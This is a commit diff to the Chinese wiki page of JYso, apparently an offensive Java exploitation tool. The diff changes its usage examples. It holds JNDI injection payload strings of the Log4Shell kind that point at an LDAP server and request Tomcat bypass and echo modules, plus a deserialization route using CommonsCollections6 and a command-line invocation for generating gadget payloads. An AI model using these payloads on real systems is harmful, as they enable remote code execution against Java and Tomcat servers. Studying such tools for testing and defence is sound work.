archive/JYso
1
0
Fork 0
mirror of https://github.com/qi4L/JYso.git synced 2026-09-26 16:51:52 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

Updated JYso‐CN (markdown)

炁
2024-05-29 16:31:46 +08:00
parent 1781a801e3
commit 987161006d
1 changed files with 3 additions and 3 deletions
Download Patch File Download Diff File Expand all files Collapse all files
JYso‐CN.md
+3 -3
@@ -174,7 +174,7 @@ http://127.0.0.1:3456/setRoute?a=Deserialization/CommonsCollections6/command/Bas
在回显类前面加大写C即是构造方法实现，反之则在静态代码块中，例如
```
${jndi:ldap://127.0.0.1:1389/TomcatBypass/E-CTomcatEcho}
${jndi:ldap://127.0.0.1:1389/TomcatBypass/M-EX-CTomcatEcho}
```
```
java -jar JYso-[version].jar -y -g [Gadget] -p "EX-CTomcatEcho"
@@ -188,7 +188,7 @@ java -jar JYso-[version].jar -y -g [Gadget] -p "EX-CTomcatEcho"
+ JNDI-Injection-Exploit 用法：
+ 不需要参数时
```
${jndi:ldap://127.0.0.1:1389/TomcatBypass/E-TomcatEcho}
${jndi:ldap://127.0.0.1:1389/TomcatBypass/M-EX-TomcatEcho}
```
+ 需要参数时
```
@@ -197,7 +197,7 @@ ${jndi:ldap://127.0.0.1:1389/TomcatBypass/M-EX-TomcatEcho/shell/LWNoIENvb2tpZXNz
效果图：
![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdown%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20230627112538.png)
![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20240529163056.png)
+ ysoserial
```